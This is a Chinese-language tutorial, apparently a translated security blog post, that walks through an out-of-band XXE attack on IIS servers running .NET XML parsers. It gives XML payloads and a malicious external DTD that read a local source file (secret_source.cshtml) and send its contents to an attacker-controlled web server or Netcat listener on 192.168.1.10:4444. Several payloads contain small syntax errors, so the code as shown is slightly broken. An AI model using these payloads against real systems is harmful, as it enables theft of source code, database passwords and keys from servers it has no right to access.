导语:本文将演示使用Microsoft .NET框架对IIS服务器执行XXE攻击所需的步骤。但是,本文将不会深入地解释这些技术是如何从根本上起作用的。
XXE(XML外部实体)攻击是一种在XML解析器不正确处理了包含XML有效载荷的doctype中的外部实体声明的用户的输入时所发生的漏洞攻击。该外部实体可能包含进一步危害系统的代码,允许攻击者读取系统上的敏感数据,或者可能执行其他更严重的操作。
本文将演示使用Microsoft .NET框架对IIS服务器执行XXE攻击所需的步骤。但是,本文将不会深入地解释这些技术是如何从根本上起作用的。如果你想了解更多关于这些技术的信息,请参考文章末尾处的一些有用的链接。
XXE漏洞利用
下面我们会看到一个名为extentity的外部参数实体的例子,它使用SYSTEM指令来加载URI的内容。然后,%extentity; 被调用来触发一个HTTP GET请求到下面的指定的URI。
<?xml version="1.0" encoding="utf-8"?--> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil"> %extentity; ] >
或者,这个指令也可以用来访问系统本地的一个文件:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ [<!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml"> %extentity; ] >
但是,XML定义了格式比较严格的限制,禁止了上面的示例。因此,上面的例子不会加载我们指定的文件c:/inetpub/wwwroot/Views/secret_source.cshtml,而是会产生一个错误。
如果以一个实体作为开始会怎么样呢?我们可以尝试在XML有效载荷内的实体中嵌入一个实体。例如:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity "<!ENTITY stolendata SYSTEM ?file:///c:/inetpub/wwwroot/Views/secret_source.cshtml'>"> %extentity; ] <
不幸的是,这也是不可能的,因为XML格式的限制禁止在值中声明外部实体。
现在不能在系统上引用一个文件,但是我们可以让解析器从一个URI获取一个资源。我们可以尝试加载数据类型定义(DTD)文件来完成此操作。DTD文件是在解析XML文件之前加载的文件,并告诉解析器如何正确的解释XML文件。我们尝试将受限实体的有效载荷嵌入到我们的DTD文件中来绕过这些限制。
例如,我们可以将下面的xml文件加载到指向DTD文件的解析器中。当%extentity;被调用时,它会在提供的URI处加载我们的DTD文件(evil.dtd)的内容:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd"> %extentity; ] >
然后,我们需要在上面的那个IP地址上搭建一个Web服务器,监听的端口是4444,并且在Web根目录下有一个名为evil.dtd的文件。那么也许你会问这个神奇的DTD文件是什么东西?那么,我会告诉你,内容如下:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml"> <!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://192.168.1.10:4444/?%stolendata;'>">
上述DTD文件的第1行声明了XML版本和编码。第2行声明了我们要抓取的敏感文件的内容。在第3行中,我们执行了实体初始化,并将文件的内容也就是stolendata变量附加到URI后面。这个URI是我们搭建的Web服务器的监听端口4444和要读取的文件的内容。通过这样做,我们可以绕过我们之前在原始XML中嵌入有效载荷的限制。
上面的插图向我们展示了这个过程的前几个步骤:
1. 上传原始的XML有效载荷,让系统从我们的远程Web服务器加载DTD文件
2. XML解析器获取指定的URI并检索DTD文件内容
3. XML解析器将DTD的内容加载到原始的XML的预处理过程中
到此为止,我们已经成功地绕过了XML格式的限制。但是,我们仍然需要调用我们在DTD文件中声明的实体,来检索内容secret_source.cshtml并将文件内容发送回我们的Web服务器。要做到这一点,我们就需要在我们发送有效载荷之前,在我们原始的XML文件中的%extentity; 之后插入%inception;和%sendit;。我们原来的XML有效载荷现在应该是这样的:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd"> %extentity; %inception; %sendit; ] <
就是这样!只要我们在端口4444上搭建了Web服务器或设置一个Netcat监听器,XML解析器就会将嵌入在GET请求的URI中的目标文件(secret_source.cshtml)的内容发送给我们。包含数据库密码和泄露的加密密钥等敏感信息的源文件通过使用此方法就可以被用于得到更多更有价值的内容。
注意:这种技术有一定的局限性,因为由于URI长度的限制,如果文件内容总长度超过了2000个字节,XML解析器就会产生一个错误。
一些有用的链接: